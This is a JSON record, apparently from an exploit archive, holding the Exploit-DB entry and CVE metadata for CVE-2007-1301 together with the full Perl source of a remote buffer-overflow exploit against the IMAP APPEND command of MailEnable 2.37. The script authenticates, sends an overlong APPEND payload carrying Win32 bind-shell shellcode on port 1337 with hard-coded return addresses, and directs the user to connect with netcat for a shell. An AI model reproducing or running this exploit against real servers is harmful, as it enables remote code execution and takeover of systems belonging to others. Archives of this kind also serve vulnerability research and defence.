{"exploit":{"id":"EDB-3397","name":"MailEnable Professional/Enterprise 2.37 - 'APPEND' Remote Buffer Overflow","description":"MailEnable Professional/Enterprise 2.37 - 'APPEND' Remote Buffer Overflow","cves":["CVE-2007-1301"],"author":"mu-b","published":"2007-03-02","platform":"windows","type":"remote","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/3397","path":"exploits/windows/remote/3397.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-3397.pl","vulnerabilities":[{"id":"CVE-2007-1301","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in the IMAP service in MailEnable Enterprise and Professional Editions 2.37 and earlier allows remote authenticated users to execute arbitrary code via a long argument to the APPEND command. NOTE: this is probably different than CVE-2006-6423.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-1301","cvss":{"version":"2.0","baseScore":9,"severity":"high","vectorString":"AV:N/AC:L/Au:S/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-1301"},"updatedAt":"2024-08-07T12:50:35.259Z","retrievedAt":"2026-11-26T16:07:21.167Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-3397.png?v=2","url":"https://exploitbin.com/exploits/EDB-3397","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-3397/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-3397/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n#\n# maildisable-v4.pl\n#\n# Mail Enable Professional/Enterprise v2.32-4 (win32) remote exploit\n# by mu-b - Wed Nov 29 2006\n#\n# - Tested on: Mail Enable Professional v2.32 (win32) - with HOTFIX\n#              Mail Enable Professional v2.33 (win32)\n#              Mail Enable Professional v2.35 (win32)\n#              Mail Enable Professional v2.37 (win32)\n#\n########\n\nuse Getopt::Std; getopts('t:n:u:p:', \\%arg);\nuse Socket;\n\n# Fixed metasploit win32 bindshell port 1337\nmy $zshell_win32_bind =\n  \"\\x33\\xc9\\x83\\xe9\\xb0\".\n  \"\\x81\\xc4\\xd0\\xfd\\xff\\xff\". # add %esp, -560\n  \"\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x5b\\x81\\x73\\x13\\x1d\".\n  \"\\xcc\\x32\\x69\\x83\\xeb\\xfc\\xe2\\xf4\\xe1\\xa6\\xd9\\x24\\xf5\\x35\\xcd\\x96\".\n  \"\\xe2\\xac\\xb9\\x05\\x39\\xe8\\xb9\\x2c\\x21\\x47\\x4e\\x6c\\x65\\xcd\\xdd\\xe2\".\n  \"\\x52\\xd4\\xb9\\x36\\x3d\\xcd\\xd9\\x20\\x96\\xf8\\xb9\\x68\\xf3\\xfd\\xf2\\xf0\".\n  \"\\xb1\\x48\\xf2\\x1d\\x1a\\x0d\\xf8\\x64\\x1c\\x0e\\xd9\\x9d\\x26\\x98\\x16\\x41\".\n  \"\\x68\\x29\\xb9\\x36\\x39\\xcd\\xd9\\x0f\\x96\\xc0\\x79\\xe2\\x42\\xd0\\x33\\x82\".\n  \"\\x1e\\xe0\\xb9\\xe0\\x71\\xe8\\x2e\\x08\\xde\\xfd\\xe9\\x0d\\x96\\x8f\\x02\\xe2\".\n  \"\\x5d\\xc0\\xb9\\x19\\x01\\x61\\xb9\\x29\\x15\\x92\\x5a\\xe7\\x53\\xc2\\xde\\x39\".\n  \"\\xe2\\x1a\\x54\\x3a\\x7b\\xa4\\x01\\x5b\\x75\\xbb\\x41\\x5b\\x42\\x98\\xcd\\xb9\".\n  \"\\x75\\x07\\xdf\\x95\\x26\\x9c\\xcd\\xbf\\x42\\x45\\xd7\\x0f\\x9c\\x21\\x3a\\x6b\".\n  \"\\x48\\xa6\\x30\\x96\\xcd\\xa4\\xeb\\x60\\xe8\\x61\\x65\\x96\\xcb\\x9f\\x61\\x3a\".\n  \"\\x4e\\x9f\\x71\\x3a\\x5e\\x9f\\xcd\\xb9\\x7b\\xa4\\x37\\x50\\x7b\\x9f\\xbb\\x88\".\n  \"\\x88\\xa4\\x96\\x73\\x6d\\x0b\\x65\\x96\\xcb\\xa6\\x22\\x38\\x48\\x33\\xe2\\x01\".\n  \"\\xb9\\x61\\x1c\\x80\\x4a\\x33\\xe4\\x3a\\x48\\x33\\xe2\\x01\\xf8\\x85\\xb4\\x20\".\n  \"\\x4a\\x33\\xe4\\x39\\x49\\x98\\x67\\x96\\xcd\\x5f\\x5a\\x8e\\x64\\x0a\\x4b\\x3e\".\n  \"\\xe2\\x1a\\x67\\x96\\xcd\\xaa\\x58\\x0d\\x7b\\xa4\\x51\\x04\\x94\\x29\\x58\\x39\".\n  \"\\x44\\xe5\\xfe\\xe0\\xfa\\xa6\\x76\\xe0\\xff\\xfd\\xf2\\x9a\\xb7\\x32\\x70\\x44\".\n  \"\\xe3\\x8e\\x1e\\xfa\\x90\\xb6\\x0a\\xc2\\xb6\\x67\\x5a\\x1b\\xe3\\x7f\\x24\\x96\".\n  \"\\x68\\x88\\xcd\\xbf\\x46\\x9b\\x60\\x38\\x4c\\x9d\\x58\\x68\\x4c\\x9d\\x67\\x38\".\n  \"\\xe2\\x1c\\x5a\\xc4\\xc4\\xc9\\xfc\\x3a\\xe2\\x1a\\x58\\x96\\xe2\\xfb\\xcd\\xb9\".\n  \"\\x96\\x9b\\xce\\xea\\xd9\\xa8\\xcd\\xbf\\x4f\\x33\\xe2\\x01\\xf2\\x02\\xd2\\x09\".\n  \"\\x4e\\x33\\xe4\\x96\\xcd\\xcc\\x32\\x69\";\n\n# ff e4 -> jmp %esp\nmy @offsets = ( \"\\x63\\x37\\x57\\x7c\", # Win2K Server SP4 KERNEL32.dll\n                \"\\x38\\x07\\xd2\\x77\",\n                \"\\xef\\xbe\\xad\\xde\"  # DoS\n              );\n\n&print_header;\n\nmy $target;\nmy $offset;\nmy $user;\nmy $passwd;\n\nif (defined($arg{'t'})) { $target = $arg{'t'} }\nif (defined($arg{'n'})) { $offset = $arg{'n'} }\nif (defined($arg{'u'})) { $user = $arg{'u'} }\nif (defined($arg{'p'})) { $passwd = $arg{'p'} }\nif (!(defined($target)) || !(defined($user)) || !(defined($passwd))) { &usage; }\nif (!(defined($offset))) { $offset = 0; }\nif ($offset > $#offsets) {\n    print(\"only \".($#offsets+1).\" targets known!!\\n\");\n    exit(1);\n} else {\n    $offset = $offsets[$offset];\n}\n\nmy $imapd_port = 143;\nmy $send_delay = 2;\n\nmy $NOP = 'A';\n\nif (connect_host($target, $imapd_port)) {\n    print(\"-> * Connected\\n\");\n    send(SOCKET, \"1 LOGIN \".$user.\" \".$passwd.\"\\r\\n\", 0);\n    sleep($send_delay);\n\n    print(\"-> * Sending payload\\n\");\n    $buf = \"2 APPEND \\\"()\\\"\\{\".\n           ($NOP x 128).\n           \"\\xef\\xbe\\xad\\xde\".\n           $offset.\n           \"\\x01\\xa3\\x19\\x03\".\n           ($NOP x 8 ).\n           $zshell_win32_bind.\n           \"\\}\\r\\n\";\n    send(SOCKET, $buf, 0);\n    sleep($send_delay);\n\n    print(\"-> * Successfully sent payload!\\n\");\n    print(\"-> * nc \".$target.\" 1337 for shell...\\n\");\n}\n\nsub print_header {\n    print(\"MailEnable Pro v2.32-7 remote exploit\\n\");\n    print(\"by: <mu-b\\@digit-labs.org>\\n\\n\");\n}\n\nsub usage {\n  print(qq(Usage: $0 -t <hostname>\n\n     -t <hostname>    : hostname to test\n     -n <num>         : return addy offset number\n     -u <username>    : username for login\n     -p <password>    : usernames password\n));\n\n    exit(1);\n}\n\nsub connect_host {\n    ($target, $port) = @_;\n    $iaddr  = inet_aton($target)                 || die(\"Error: $!\\n\");\n    $paddr  = sockaddr_in($port, $iaddr)         || die(\"Error: $!\\n\");\n    $proto  = getprotobyname('tcp')              || die(\"Error: $!\\n\");\n\n    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die(\"Error: $!\\n\");\n    connect(SOCKET, $paddr)                      || die(\"Error: $!\\n\");\n    return(1338);\n}\n\n# milw0rm.com [2007-03-02]","sha256":"9889c8326460a8152bf869a7cbac19aa6b41bc5923fa405378358b7ffffc0ee7","bytes":4215,"fetchedAt":"2026-11-26T16:07:15.032Z","encoding":"utf-8 (display only; download retains original bytes)"}